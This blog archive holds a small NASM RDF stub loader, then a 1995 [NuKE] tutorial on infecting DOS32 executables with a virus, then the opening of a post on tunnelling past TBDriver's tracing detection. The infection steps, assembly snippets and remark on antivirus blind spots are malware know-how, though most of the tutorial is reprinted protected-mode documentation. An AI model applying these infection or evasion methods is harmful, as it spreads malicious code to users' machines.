Computers

Tuesday, August 05, 2003

Small RDF Stub Loader (NASM)

This little piece of assembler was something I just hacked up to load an nasm RDF file as a dos COM file.
For some strange reason I kept hacking it smaller and smaller, using it as a stub to boot an RDF file.
This was a weekends hacking I think. One wet sunday I remember looking over the RDF specifications….

   1:;
   2:;    Title : Small RDF2 Stub Loader
   3:;   Author : Stuart 'Dark Fiber' George <sgeorge@mega-tokyo.com>
   4:;   Version : 0.4
   5:; Assembler : Nasm
   6:;  Comments : Basic RDF Loader for .COM files.
   7:;
   8:; - Only loads single segment RDF files (!! .text only !!)
   9:; - Relocates 16 + 32bit relocs.
  10:; - i've done some size optimising on it (so may not be all that readable!)
  11:; - 92bytes in size
  12:;
  13:; copy /b stub.com + {myfile}.rdf  output.com
  14:
  15:%define b byte
  16:%define w word
  17:%define d dword
  18:
  19:struc RDFRELOC
  20:    rdfr_type:  resb    1
  21:    rdfr_len:   resb    1
  22:    rdfr_seg:   resb    1
  23:    rdfr_offs:  resd    1
  24:    rdfr_rlen:  resb    1   ;; addr len 1/2/4 bytes
  25:    rdfr_rseg:  resw    1   ;; seg to reloc in
  26:endstruc
  27:
  28:struc RDFHEAD
  29:    rdfh_magic: resb    6
  30:    rdfh_dlen:  resd    1
  31:    rdfh_hlen:  resd    1
  32:endstruc
  33:
  34:struc RDFSEG
  35:    rdfs_type: resw 1
  36:    rdfs_num: resw 1
  37:    rdfs_res: resw 1
  38:    rdfs_len: resd 1
  39:endstruc
  40:
  41:struc RDFOBJ
  42:    rdfo_type:  resb    1
  43:    rdfo_len:   resb    1
  44:endstruc
  45:
  46:
  47:[bits 16]
  48:[org 0x100]
  49:
  50:code:
  51:    mov bp,0x100        ;; reloc address
  52:    mov si,end_code+4       ;; code start
  53:
  54:relocate_rdf:
  55:    cmp w[si],'F2'
  56:    jne quit
  57:
  58:    mov bx,RDFHEAD_size - 4
  59:
  60:    ;; RDFSEG_size, RDFHEAD_size-4 both == 10
  61:
  62:    mov di,si
  63:    add di,w[si -4 + rdfh_hlen] ;; size of headers
  64:    add di,bx ; RDFHEAD_size -4  ;; end of header!
  65:    mov cx,w[di + rdfs_len]
  66:    add di,bx ; RDFSEG_size
  67:    mov dx,w[si -4 + rdfh_hlen]
  68:    add si,bx ; RDFHEAD_size -4
  69:
  70:.k0:    
  71:    cmp b[si + rdfo_type],0x01      ;; reloc record
  72:    jne .k1
  73:
  74:.z2:    
  75:    push    di
  76:    mov eax,d[si + rdfr_offs]
  77:    add di,ax
  78:
  79:    ;; test reloc size
  80:    mov al,b[si + rdfr_rlen]
  81:    sub al,2    ;; 2 = 16bit
  82:    jz  .z4
  83:    sub al,2    ;; 4 = 32bit
  84:    jnz .k1
  85:
  86:    ;; 32bit reloc
  87:    db 0x66     ;; 0x66 == add d[di],dx -> add d[di],edx
  88:
  89:    ;; 16bit reloc
  90:.z4:    
  91:    add w[di],bp
  92:    pop di
  93:
  94:.k1:    
  95:    mov al,b[si + rdfo_len]
  96:    cbw
  97:    ;add    ax,RDFOBJ_size      ;; == 2
  98:    inc ax
  99:    inc ax
 100:
 101:    add si,ax
 102:    sub dx,ax
 103:    jnz .k0
 104:
 105:.k99:
 106:    ;; end!
 107:    xchg    di,ax
 108:
 109:    mov di,0x100 - (k99 - k01)
 110:    ;lea    di,[bp-(k99-k01)]
 111:    push    di
 112:    push    cx
 113:    mov si,k01
 114:    mov cx,(k99 - k01)
 115:
 116:k01:
 117:    rep movsb
 118:    
 119:k99:
 120:    pop cx
 121:    xchg    si,ax
 122:    
 123:quit:
 124:    ret
 125:
 126:end_code: 
 127:

 

Posted by Stu on 08/05/2003 at 07:22 AM Permalink to this post.
Filed Under : ComputersDevelopment
Tags:

(0) Comments
Share/Bookmark

Wednesday, November 08, 1995

How to infect DOS32 protected mode .EXE files

How to infect DOS32 protected mode .EXE files
A pure research virus
Dark Fiber [NuKE] 8th November 1995

Whats DOS32
Who uses DOS32? Never heard of it!!
Where can I get DOS32
Basics of using PMODE
Slight differences to DOS & DOS32
Simple DOS32 virus guidelines
Anti-Virus strategies on DOS32 files
Some notes about DOS32
DOS32 File Header structure
Crash course in PMODE by Adam Seychell
A VERY detailed tech spec for PMODE by Yann Stephen

          [*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]-[*]


Whats DOS32
        DOS32 is a DOS Extender, what that is, is a really cool program
        designed to run in protected mode, and it offers programs a flat
        memory layout, that is, no 64kb segments & 16bit code size,
        its a pure 32bit enviroment, with some reflection in 16bit
        mode.

        << Lifted from the DOS32 manual ^_^ >>
                The 80386 has been around since 1987 and to this day DOS is
        still running in real mode. Since nobody has bothered to design a
        protected mode DOS, programs called 'DOS extenders' were written. A
        DOS extender is basically a program that will switch the CPU into
        protected mode so that it can then execute a protected mode
        application under DOS. If you don't know the difference between
        real mode and protected mode then have a go at reading the file
        PMODE.DOC or better still get a proper book before reading to much
        further. I think that it is much easier to program in protected
        mode than it is to on real mode ( Intel 8086 architecture ) because
        you can use only one big segment for the entire application.

                You could say a DOS extender is a separate program that
        handles all the setting up needed for protected mode under DOS. You
        let the DOS extender worry about all of the protected mode
        initialising. So you write programs in plain and pure protected
        mode.

                Since DOS runs in real mode ( or V86 mode ) a protected
        mode program can no longer execute DOS calls directly. The DOS
        extender should have services that allow protected mode programs to
        call real mode code and will either enter V86 mode or return to
        real mode when doing so. Usually a DOS extender has many more
        services than just real mode calls. For example, setting interrupt
        vectors, memory allocation, disk I/O routines and possibly a
        debugger.


Who uses DOS32? Never heard of it!!
        I'm not surprised smile I've been using it for about a year.
        The only people who tend to use it are the demo coders,
        just like their they only people who use Trans PMODE.
        Your chances of finding DOS32 files are few and far between,
        but they do exist.


Where can I get DOS32
        ftp.cdrom.com /demos/code/pmode/dos32v33.zip


Basics of using PMODE
        ACK! Thats really too much to explain, if you dont know
        jack shit about pmode......  Theres lots of good .DOCS
        that comes with DOS32 zip.


Slight differences to using DOS32 and DOS

        File functions like

        DOS                             DOS32

        mov ds,segment                  mov  ah,040h
        mov ah,040h                     mov ecx,really big length
        mov cx,length                   mov edx,really long offset
        mov dx,offset code              int  21h
        int 21h

        The main differences are for things such as offsets.
        You use extended 32bit registers, not pissy little 16bit ones.

        And ofcourse, it uses selectors instead of segments....


Simple DOS32 virus guidelines
        This will just be a step by step thing

           total_executable_size  is the size of the executable code
                                  as well as the size of all the relocations

           executable_code_size   this is the size of the executable code
                                  only.

           stubloader_size        this is the size of the

        1. You need to find the DOS32 header.
           Because DOS32 files are just standard overlays,
           tacked onto the extender stub or a loader stub,
           the standard overlay technique still works,

           Assume there is an .EXE file header in BUFFER

           ;; Calculate the overlay offset using the MZ header file size
           movzx eax,word ptr [BUFFER + 4]
           movzx edx,word ptr [BUFFER + 2]
           or dx,dx
           je $+3
           dec ax
           shl eax,9
           add edx,eax

           EDX now points to the overlay offset within the .EXE file.
           This address needs to be saved in order to make modifications
           here later onwards.

        2. Read in and check for a valid DOS32 header
        3. Check to see if the DOS32 exec is compressed
        4. Check to see if the DOS32 file contains an overlay.
           Formula for calculating a DOS32 overlay length is

           total_file_size - stubloader_size - total_executable_size == 0
           or
           total_file_size - stubloader_size == total_executable_size

           the total_executable_size is at offset 08h within the DOS32
           header.

           eg:
                mov     ax,04202h
                xor     edx,edx
                int     21h
                ;eax = total size
                sub     eax,dword ptr [stubloader_size]
                cmp     eax,dword ptr [BUFFER + 08h]
                je      no_overlay_present

        5. Remove the relocations from the end of the file
           To find the offset to the relocations the formula is
           executable_code_size - stubloader_size - header_size = reloc_offset

                eg:
                   mov  ax,04200h
                   mov  edx,dword ptr [BUFFER + 010h]
                   add  edx,dword ptr [stubloader_size]
                   add  edx,header_size
                   int  21h

        6. Append the virus

        7. Append the relocations

        8. Calculate the new header values
           To calculate a new EIP, its equal to the current
                       executable_code_size
           ESP must be > than your (EIP + total_virus size)

           the new stack MUST be on a DWORD boundary.

           You now need to patch in the amount of memory required to
           run the program, the total_executable_size, and the
           executable_code_size.
           This is as easy as adding the total virus size onto them.

        9. Write the new header back


Anti Virus strategies for DOS32 files.
        Whats to say.  NO anti virus programs scan dos32 files,
        proably because there so few and far between, and secondly
        probably because its an OMF format.


Some notes about DOS32
        Ummm, well, DOS32 files can be compressed, and this virus
        cant infect those ones.....

        DOS32 is an OMF format, and has its own linker, DLINK.
        You can TASM the code, but TLINK will just barf.



DOS32 File Header structure
        File format of a DOS32 executable (.EXE file produced from DLINK)

        Offset    Size           Description

        ���������������������������������������������������������������������
        0         n    A stub loader or DOS32.EXE of n bytes {no stub in DLL}
        n+0       4    Signature "Adam"     { ="DLL " for DLL files }
        n+4       2    Minimum DOS32 version required (packed BCD)
        n+6       2    DLINK version in packed BCD format
        n+8       4    Number of bytes remaining after the stub file. The
                       entire .EXE file size (after linking) will be equal
                       to this value plus the stub file size.
        n+0Ch     4    Start of 32bit executable image relative to the
                       'Adam' signature.
        n+10h     4    Length of executable image ( see below ).
        n+14h     4    Initial memory required for application. This value
                       must be larger than the size of the 32bit executable
                       image.
        n+18h     4    Initial EIP  { public varible address for DLL file }
        n+1Ch     4    Initial ESP  { ignored in DLL header }
        n+20h     4    Number of entries in fixup table. Each entry in the
                       table contains a 32bit offset relative to the start
                       of the executable image of a 16bit WORD that must be
                       set to the programs data selector at load time. The
                       table immediately follows the executable image.
        n+24h     4    Flags  ( function active when bit is set )
                       bit 0 = executable image is compressed
                       bit 1 = display DOS32 logo when executed
                       bits 2..31 reseved.

        The 32bit executable image (application binary data) can start
        anywhere after this point (i.e >= offset n+28h in the .EXE file).


A Crash course in PMODE by Adam Seychell

                      A CRASH COURSE IN PROTECTED MODE


                                                          By Adam Seychell


                After my release of DOS32 V1.2 a lot of people were asking
        for basic help in protected mode programming. If you already know
        what a selector is then there is probably no need for you to read
        this file.

                Ok you know all about the 8086 ( or a 386 in real mode )
        architecture and what to know about this fantastic protected mode
        stuff. I'll start off saying that I think real mode on the 386 is
        like driving a car that is stuck in first gear. There is the
        potential of a lot of power but it is not being used. It really
        degrades the 386 processor and was not designed to normally operate
        in this mode. Even the Intel data book states  "Real mode is
        required primarily to set up the processor for Protected Mode
        operation".


                      SEGMENTATION OF THE INTEL 80x86

                A segment is a block of memory that starts at a fixed base
        address and has a set length.  As you should already know that
        *every* memory reference by the CPU requires both a SEGMENT value
        and a OFFSET value to be specified. The OFFSET value is the
        location relative to the base address of the segment. The SEGMENT
        value contains the information for the segment. I am going to
        explain very basically how this SEGMENT value is interpreted by the
        80386 to give the parameters of segments.


                In protected mode this SEGMENT value is interpreted
        completely different than in real mode and/or Virtual 86 mode. The
        SEGMENT values are now called "selectors". You'll see why when
        finished reading this file. So whenever you load a segment register
        you are loading it with a selector.



        The Selector is word length and contains three different fields.

        Bits  0..1       Request Privilege level        ( just set this to
                                                        zero )

        Bit   2          Table Indicator        0 = Global Descriptor Table
                                                1 = Local Descriptor Table

        Bits 3..15      The INDEX field value of the desired descriptor in
                        the GDT This index value points to a descriptor in
                        the table.



                    The  GLOBAL DESCRIPTOR TABLE  (GDT)

                The Global Descriptor Table ( GDT ) is a table of
        DESCRIPTORS and it is stored in memory. The address of this table
        is given in a special 386 register called the global descriptor
        table register. There always must be a GDT when in protected mode
        because it is in this table where all of the segments are defined.
        Each DESCRIPTOR ( stored in the GDT ) contains the complete
        information about a segment. It is a description of the segment.
        Each Descriptor is 64 bits long and contains many different fields.
        I'll explain the fields later. The INDEX field  ( stored in bits
        3..15 of any segment register ) selects a descriptor to use for the
        type of segment wanted. So the only segments the programmer can use
        are the available descriptors in the GDT.


        Example: Suppose you what to access location 012345h in your data
                segment and you were told that the descriptor for your data
                segment is descriptor number 6 in the Global Descriptor
                Table.  Assume that the Global Descriptor Table has already
                been set up and built for you  ( example, as in DOS32).

        Solution: We need to load a segment register (SS,DS,FS,GS,ES)  with
                a value so that it will select (or index ) descriptor
                number 6 of the GDT. Then reference the address with a
                instruction that will use this loaded segment register.

        One of the segment registers (FS,DS,GS,SS,CS or ES) must be loaded
        with the following three fields,

                Request Privilege level ( Bits 0..1 ) = 0  (always)
                Table Indicator ( bit 2 )  = 0
                Index  ( bits 3..15 ) = 6


             mov  ax,0000000110000b      ;load DS with the selector value
             mov  ds,ax
             mov  byte ptr DS:[ 012345h ],0     ; Using the DS
             segment register



                The 386 has hardware for a complete multitasking system.
        There are several different types of descriptors available in the
        GDT for managing multitasking. You don't need to know about all the
        different descriptors just to program in protected mode. Just the
        info above is enough.  All you need to know to program in protected
        mode is what descriptors are available to you and what are the
        selector values to these descriptors.  The base address of the
        segment may also be known. See the file DOS32.DOC for obtaining the
        selector values.

            There are two groups of descriptors 1) CODE/DATA descriptors
        which are used for any code and data segments.

        2) SYSTEM descriptors are used for the multitasking system of the
        386. These type of descriptors will never need to be used for
        programming applications.



                  Format of a code and data descriptor

        BITS             description if the field
        ------------------------------------------------------------
        0..15            SEGMENT LIMIT 0...15
        16..39           SEGMENT BASE 0..23
        40              (A)   accessed bit
        41..43          (TYPE) 0 = SEE BELOW
        44              (0)  0 = code/data descriptor 1 = system descriptor
        45..46          (DPL) Descriptor Privilege level
        47              (P)  Segment Present bit
        48..50          SEGMENT LIMIT 16..19
        51..52          (AVL)   2 bits available for the OS
        53              zero for future processors
        54              Default Operation size used by code descriptors only
        55              Granularly:  1 = segment limit = limit field *1000h
                                    0 = segment limit = limit field
        56..63          SEGMENT BASE 24..31

        format of TYPE field
            bit  2    Executable (E)     0 = Descriptor is data type
                 1    Expansion Direction (ED) 0 = Expand up
                                               1 = Expand up
                 0    Writeable (W)       W = 0 data segment is read only
                                          W = 1 data segment is R/W

            bit  2    Executable (E)  1 = Descriptor is code type
                 1    Conforming (C)   ( I don't understand )
                 0    Readable (R)        R = 0 Code segment execute only
                                          R = 1 Code segment is Readable

           I'd better stop here, I am confusing myself. As you can see
        there is more to a segment that just it's base address and limit.
        The three descriptors that are available in DOS32  all have limits
        of 0ffffffffh (4GB). This means that the offsets can be any value.
        For example, the instruction    XOR EAX,ES:[0FFFFFFFFh]  is
        allowed. If you happen to load an invalid selector value into one
        of the segment registers then the 386 will report an General
        Protection exception ( interrupt 13 ).  In protected mode this
        exception is also used for many other illegal operations.



                           The LINEAR ADDRESS and PHYSICAL ADDRESS

             All the address translations described above is done by the
        386 segmentation unit. The segmentation unit looks up the
        descriptor tables, segment selectors, offsets and then outputs a
        32bit linear address. This linear address is calculated by the
        segmentation unit in the following manner.

        Linear address = base address of segment + offset. The segment base
        address is found in the Base address field ( bits 16..39 & 56..63 )
        of a descriptor which is located in the Global Descriptor Table.
        The index field ( bits 3..15) of the segment register selects the
        descriptor to use.


        An example of the linear address of the instruction.

                  MOV       EAX, ES:[EDX*8+012345678h]

        where EDX = 100h and ES equals a selector wich points to a
        descriptor with the base field equal to 02000000h.

        The linear address = 2000000h + ( 100h*8 + 012345678h ) = 014345E78h


             Just to make things even more complicated the 386 has an
        second memory managing unit called the Paging Unit. The linear
        address calculated above may still not be the physical RAM location
        the 386 is addressing. This linear address has yet to go through
        another stage, the paging unit. If you are having trouble with what
        I've said so far then you may want to take a coffee break before
        continuing because this is even worse.

             The 32bit linear address is directed to the paging unit. The
        paging unit divides the linear address into three sections.

        bits 0..12    Offset in a page
        bits 13..23   Points to the page entry in the page table
        bits 24..31   Points to the directory entry in the page directory table

        The page table contains 1024 double word entires. In each of these
        entries is the physical address of a 4KB page. The page directory
        also contains 1024 double word entries. Each of these directory
        entries hold a physical address of a page table. See intel
        Documentation for the exact format of the page table entries and
        directory table entries.  The physical base address of the
        DIRECTORY TABLE is in control register 3 ( CR3 )

          This means if every entry in the directory table is used then
        there would be 1024 page tables available. Because each page table
        hold 1024 page addresses then there would be a total of 1024*1024
        4KB pages. The addresses in the page tables are all physical
        addresses. i.e the output of the CPU address bus pins. The paging
        unit can be enabled or disabled depending on wether bit 31 of CR0
        is set. If the paging in disabled then the linear address simply
        equals the physical address. If paging is enabled the the linear
        address is translated by the paging unit to form a physical
        address.  Please note that it is possible to set up the page tables
        and directory such that the linear address equals the physical
        address. This is what DOS32 does for the first 1MB of linear
        address space. If you can not understand my hopeless attempt of
        describing the paging unit then the diagram below might help.

            The 32 bit linear address from the segmentation unit
  -------------------------------------------------------------------------
  |   BITS  0..12             |    BITS  13..23       |    BITS 24..31     |
  |                           |                       |                    |
  -------------------------------------------------------------------------
               |                                  |                   |
               |------------------------          |                   |
                                        |         |                   |
                                        |         |                   |
                                        |         |                   |
        A Page in memory (4KB)          |         |                   |
     --------------------------         |         |                   |
     |                        |         |         |                   |
     |                        |         |         |                   |
     |                        |         |         |                   |
     |                        |         |         |                   |
     |                        |         |         |                   |
     |                        |         |         |                   |
     |                        |         |         |                   |
     |                        | <-------          |                   |
     |                        |                   |                   |
     |                        |                   |                   |
     |                        |                   |                   |
|---> -------------------------                   |                   |
|                                                 |                   |
|                                                 |                   |
|                                                 |                   |
|            PAGE  TABLE          Offset          |                   |
|    --------------------------                   |                   |
|    |                        |    4092           |                   |
|    --------------------------                   |                   |
|    .                        .                   |                   |
|    .                        .                   |                   |
|    .                        .                   |                   |
|    --------------------------                   |                   |
|    |                        |     12            |                   |
|    --------------------------                   |                   |
|---<|   address of page      |     8   <---------                    |
     --------------------------                                       |
     |                        |     4                                 |
     --------------------------                                       |
     |                        |     0                                 |
|--> --------------------------                                       |
|                                                                     |
|                                                                     |
|                                                                     |
|                                                                     |
|                                                                     |
|         DIRECTORY TABLE          Offset                             |
|    --------------------------                                       |
|    |                        |    4092                               |
|    --------------------------                                       |
|    .                        .                                       |
|    .                        .                                       |
|    .                        .                                       |
|    --------------------------                                       |
|---<| address of page table  |     12  <-----------------------------
     --------------------------
     |                        |     8
     --------------------------
     |                        |     4
     --------------------------
     |                        |     0
|--> --------------------------
|
|
|
|         ----------------------------------------------
--------<-|               CR3                          |
          ----------------------------------------------


           This was only meant to be a rough introduction to the protected
        mode segmentation mechanism of the 80386+. I hope I did not make
        this sound too complicated so that you have been put off with the
        whole idea of protected mode programming. If you want to know more
        then I suggest you buy a book on the 80386. The "Intel Programmers
        Reference guide" is the most detailed book around. The info here is
        only meant to give you an idea of how protected mode works. Please
        note that DOS32 does *ALL* of the setting up needed for protected
        mode.  Don't worry if you couldn't understand half the stuff I was
        talking about. You don't have to know about any stupid things like
        the descriptor format, selector index fields, privilege levels
        ,paging, tables, ect , ect. What you do need to know are the
        selector values for all the descriptors that are available to your
        program. Then the segment registers can simply be loaded with these
        known selector values. DOS32 uses only 3 descriptors ( or segments
        ) as described in DOS32.DOC.




A VERY detailed tech spec for PMODE by Yann Stephen

                PROTECTED MODE  ( A more detailed approch )
                          Written by Yann Stephen


        Global Descriptor Table Register (GDTR) :

        The contents of the global table register define a table in the
        80386DX's physical memory address space called the Global
        Descriptor Table (GDT). This global descriptor table is one
        important element of the 80386DX's memory management system.

        GDTR is a 48-bit register that is located inside the 80386DX. The
        lower two bytes of this register, which are identified as LIMIT,
        specify the size in byte of the GDT. The decimal value of LIMIT is
        one less than the actual size of the table. For instance, if LIMIT
        equals 00FFh the table is 256 bytes in length. Since LIMIT has 16
        bits, the GDT can be up to 65,536 bytes long. The upper four bytes
        of the GDTR, which are labelled BASE, locate the beginning of the
        GDT in physical memory. This 32-bit base address allows the table
        to be positioned anywhere in the 80386DX's address space.

        The GDT provides a mechanism for defining the characteristics of
        the 80386DX's global memory address space. Global memory is a
        general system resource that is shared by many or all software
        tasks. That is, storage locations in global memory are accessible
        by any task that runs on the microprocessor. This table contains
        what are called system segment descriptors. It is these descriptors
        that identify the characteristics of the segments of global memory.
        For instance, a segment descriptor provides information about the
        size, starting point, and access rights of a global memory segment.
        Each descriptor is eight bytes long, thus our earlier example of a
        256-byte table provides enough storage space for just 32
        descriptors. Remember that the size of the global descriptor table
        can be expanded simply by changing the value of LIMIT in the GDTR
        under software control. If the table is increased to its maximum
        size of 65,563 bytes, it can hold up to 8,192 descriptors.

        Question 1.1 : How many descriptors can be stored the global
        descriptor table when the size of LIMIT is 0FFFh.

        The value of the BASE and LIMIT must be loaded into the GDTR before
        the 80386DX is switched from real mode of operation to the
        protected mode. Special instruction are provided for this purpose
        in the system control instruction set of the 80386 DX. Once the
        80386DX is in protected mode, the location of the table is
        typically not changed.


        Interrupt Descriptor Table Register (IDTR) :

        Just like the global descriptor table register, the interrupt
        descriptor table register (IDTR) defines a table in physical
        memory. However, this table contains what are called interrupt
        descriptors, not segment descriptors. For this reason  it is known
        as the Interrupt Descriptor Table (IDT).This register and table of
        descriptors provide the mechanism by which the microprocessor
        passes program control to interrupt and exception routines.

                Just like the GDTR, the IDTR is 48 bits in length. Again,
        the lower two bytes of the register (LIMIT) define the table size.
        That is, the size of the table equals LIMIT+1 bytes. Since two
        bytes define the size, the IDT can also be up to 65,536 bytes long.
        But the 80386DX only supports up to 256 interrupts and exceptions;
        therefore, the size of the IDT should not be set to support more
        than 256 interrupts. The upper three bytes of IDTR (BASE) identify
        the starting address of the IDT in  physical memory. The type of
        descriptor used in the IDT are what are called interrupt gates.
        These gates provide a means for passing program control to the
        beginning of an interrupt service routine. Each gate is eight bytes
        long and contains both attributes and a starting address for the
        service routine.

        Question 1.2 : What is the maximum value that should be assigned to
        the limit in the IDTR?


        This table can also be located anywhere in the linear address space
        addressable with the 80386DX's 32-bit address. Just like the GDTR,
        the IDTR needs to be loaded before the 80386DX is switched from the
        real mode to protected mode. Special instructions are provided for
        loading and saving the contents of the IDTR. Once the location of
        the table is set, it is typically not changed after entering the
        protected mode.

        Question 1.3 : What is the address range of the last descriptor in
        the interrupt descriptor table defined by base address 00011000h
        and limit 01FFh


        Local Descriptor Table Register (LDTR) :

        The Local Descriptor Table Register (LDTR) is also part of the
        80386DX's memory management support mechanism. Each task can have
        access to its own private table descriptor table in addition to the
        global descriptor table. This private table is called the local
        descriptor table (LDT) and defines a local memory address space for
        use by the task. The LDT holds segment descriptors that provide
        access space for use by the task. The LDT holds segment descriptors
        that provide access to code and data in segments of memory that are
        reserved for the current task. Since each task can have its own
        segment of local memory, the protected-mode software system may
        contain local descriptor tables. Whenever a selector is loaded into
        the LDTR, the corresponding descriptor is transparently read from
        global memory and loaded into the local descriptor table cache
        within the 80386DX. It is  this descriptor that defines the local
        descriptor table. Assume that every time a selector is loaded into
        the LDTR, a local descriptor table descriptor is cached and a new
        LDT is activated.

        Control Registers :

        The protected-mode model includes the four system control
        registers, identified as CR0 through CR3 :


        31          23             15             7           0
        -------------------------------------------------------
        | Page Directory Base Register (PDBR)|     Reserved   | CR3
        -------------------------------------------------------
        |                Page Fault Linear Address            | CR2
        -------------------------------------------------------
        |                       RESERVED                      | CR1
        -------------------------------------------------------
        |P|                                         |R|T|E|M|P| CR0
        |G|                     RESERVED            | |S|M|P|E|
        -------------------------------------------------------

        Notice that the lower five bits of CR0 are system control flags.
        These bits make up what are known as the machine status word (MSW).
        The most significant bit of CR0 and registers CR2 and CR3 are used
        by the 80386DX's paging mechanism. Let us consider by examining the
        machine status word bits of CR0. They contain information about the
        80386DX's protected-mode configuration and status. The four bit
        labelled PE, MP, EM and R are control bit that define the protected
        mode system configuration. The fifth bit, TS, is a status bit.
        These bits can be examined or modified through software.

                The protected-mode enable (PE) bit determines if the
        80386DX is in the real or protected mode. At reset, PE is cleared.
        This enables the real mode of operation. To enter the protected
        mode, we simply switch PE to 1 through software. Once in the
        protected mode, the 80386DX can be switched back to real mode under
        software control by clearing the PE bit. It can also be returned to
        real mode by hardware reset.

                The math present (MP) bit is set to 1 to indicate that a
        numeric coprocessor is present in the microcomputer system. On the
        other hand, if the system is to be configured so that a software
        emulator is used to perform numeric operations instead of a
        coprocessor, the emulate (EM) bit is set to 1.

        Only one of these two bits can be set at a time. Finally, the
        extension type (R) is used to indicate whether an 80387DX or 80287
        numeric coprocessor is in use. Logic 1 in R indicates that an
        80387DX is installed. The last bit in the MSW, task switched (TS),
        automatically gets set whenever the 80386DX switched from one task
        to another. It can be cleared under software control. The protected
        mode software architecture of the 80386DX also supports paged
        memory operation. Paging is turned on by switching the PG bit in
        CR0 to logic 1. Now addressing of physical memory is implemented
        with an address translation mechanism that consists of a page
        directory and page table that are both held in the physical memory.
        This register holds a 20-bit page directory base address that
        points to the beginning of the page directory. A page fault error
        occurs during the page translation process if the page is not
        present in memory. In this case, the 80386DX saves the address at
        which the page fault occurred in register CR2. This address is
        denoted as page fault linear address.

        Task Register (TR):

        The task register is one of the key elements in the protected mode
        task switching mechanism of the 80386DX microprocessor. This
        register holds a 16-bit index value called a selector. The initial
        selector must be loaded into TR under software control. This starts
        the initial task. After this is done, the selector is changed
        automatically whenever the 80386DX executes an instruction that
        performs a task switching. TR is used to locate a descriptor in the
        global descriptor table. Notice that when a selector is loaded into
        TR, the corresponding task state segment (TSS) descriptor
        automatically gets read from memory and loaded into on-chip task
        descriptor cache. This descriptor defines a block of memory called
        the task called the task state segment (TSS). It does this by
        providing the starting address base (BASE) and the size (LIMIT) of
        the segment. Every task has it own TSS. The TSS holds the
        information needed to initiate the task, such as initial values for
        the user-accessible registers.

        Registers with Changed Functionality :

        The segment registers are now called the segment selector register,
        and instead of holding a base address they are loaded with what is
        known as a selector. The selector does not directly specify a
        storage location in memory. Instead, it selects a descriptor that
        defines the size and characteristics of segment of memory.



        15                        8                     2     0
        -------------------------------------------------------
        |           INDEX                              |TI|RPL|
        -------------------------------------------------------
                                SELECTOR

      Bits Name                             Function
      1-0  Requested        Indicates selector privilege level desired
           Privilege
           Level (RPL)

      2    Table Indicator  TI = 0 use Global Descriptor Table (GDT)
           (TI)
                            TI = 1 use Local Descriptor Table (LDT)

     15-3  INDEX            SELECT descriptor entry in table





        TI bit select the table to be used when accessing a segment
        descriptor, because two tables are active at the same time GDT and
        LDT.

        The index is used as a pointer to a specific descriptor entry in
        the table selected by the TI bit.

                Protected-Mode system control instruction set

Instruction                     Description                              Mode
LGDT S      Load the global descriptor table register. S specifies       Both
            the memory location that contains the first byte of the
            6 bytes to be loaded into the GDTR.

SGDT D      Store the global descriptor table register. D specifies      Both
            the memory location that gets the first of the six bytes
            to be stored from the GDTR.

LIDT S      Load the interrupt descriptor table register. S specifies    Both
            the memory location that contains the first byte of the
            6 bytes to be loaded into the IDTR.

SIDT D      Store the interrupt descriptor table register. D specifies   Both
            the memory location that gets the first of the six bytes
            to be stored from the IDTR.

LMSW S      Load the machine status word. S is an operand to specify     Both
            the word to be loaded into MSW.

SMSW D      Store the machine status word. D is an operand to specify    Both
            the word location or register where the MSW is to be
            saved.

LLDT S      Load the local descriptor table register. S specifies the    Protec
            operand to specify a word to be loaded into the LDTR.

SLDT D      Store the local descriptor table register. D is an operand   Protec
            to specify the word location where the LDTR is to be saved.

LTR S       Load the task register. S is an operand to specify a word    Protec
            to be loaded into TR (Task Register).

STR D       Store the task register. D is an operand to specify the      Protec
            word location where the TR is to be stored.

LAR D,S     Load access rights byte. S specifies the selector for the    Protec
            descriptor whose access byte is loaded into the upper byte
            of the D operand. The low byte specified by D is cleared.
            The zero flag is set if the loading completes successfully;
            otherwise it is cleared.

LSL R16,S   Load segment limit. S specifies the selector for the         Protec
            descriptor whose limit word is loaded into the word
            register operand R16. The zero flag is set if the
            loading completes successfully; otherwise it is cleared.

ARPL D,R16  Adjust RPL field of the selector. D specifies the selector   Protec
            whose RPL field is increased to match the PRL field in the
            register. The zero flag is set if successful;otherwise it
            is cleared.

VERR S      Verify read access. S specifies the selector for the         Protec
            segment to be verified for read operation, If successful
            the zero flag is set; otherwise it is reset.


VERW S      Verify write access. S specifies the selector for the        Protec
            segment to be verified for write operation, If successful
            the zero flag is set; otherwise it is reset.

CLTS        Clear task switched flag.                                    Protec

        A few examples of these new instructions :

                        LGDT [INIT_GDTR]

        Loads the GDTR with the base and limit pointed to by address
        INIT_GDTR to create a global descriptor table in memory. This
        instruction is meant to be used during system initialisation and
        before switching the 80386DX to the protected mode. Once loaded the
        current contents of the GDTR can be saved in memory by executing
        the store global table (SGDT) instruction.

                        SGDT [SAVE_GDTR]

        The instruction load machine status word (LMSW) and store machine
        status word (SMSW) are provided to load and store the contents of
        the machine status word (MSW), respectively. These are the
        instructions that are used to switch the 80386DX from real to
        protected mode. To do this we must set the least significant bit in
        the MSW to 1. This can be done by first reading the contents of the
        machine word , modifying the LSB (PE), and then writing the
        modified value back into the MSW part of CR0. The instruction
        sequence that follows will switch an 80386DX operating in real mode
        to protected mode:

                        SMSW AX  ;read from the MSW
                        OR AX,1  ;modify the PE bit
                        LMSW AX  ;write to the MSW



        Solution 1.1 : Each descriptor takes up eight bytes; therefore, a
        4096-byte table can hold :

                        Descriptors = 4096/8 = 512

        Solution 1.2 : The maximum number of interrupt descriptors than can
        be used in an 80386DX microcomputer system is 256. Therefore, the
        maximum table size in bytes is :

                        IDT (size) = 8*256 = 1000h bytes
                        LIMIT = 1000h-1 = 0FFFh (We start from zero)

        Solution 1.3 : From the values of the base and limit, we find that
        the table is located in the address range

                        IDT (start) = 00011000h IDT ( end ) = 000111FFh

        The last descriptor in this table takes up the eight bytes of the
        memory from address 000111F8h through 000111FFh.

Posted by Stu on 11/08/1995 at 08:20 AM Permalink to this post.
Filed Under : ComputersDevelopment
Tags:

(0) Comments
Share/Bookmark

Wednesday, August 23, 1995

Single Step Tunneling Techniques Part 2

Dark Fiber of [NuKE]
presents
Single Stepping Tunnel Techniques
Part 2
Anti-Tracers

  Okey, so you have run the Example.Com program and TBDriver has beeped
to the tune of Example.Com is trying to trace the Interrupt chain, or something
to that effect.  Your first question should be "How the hell does it know we
are tracing it?"

Well, I'm glad you asked! wink

Here is a simple representation


        Code Memory                             Stack Memory

        mov     ax,1234h
        push    ax                              1234h
        mov     bx,5678h                        1234h
        mov     cx,DEADh                        1234h
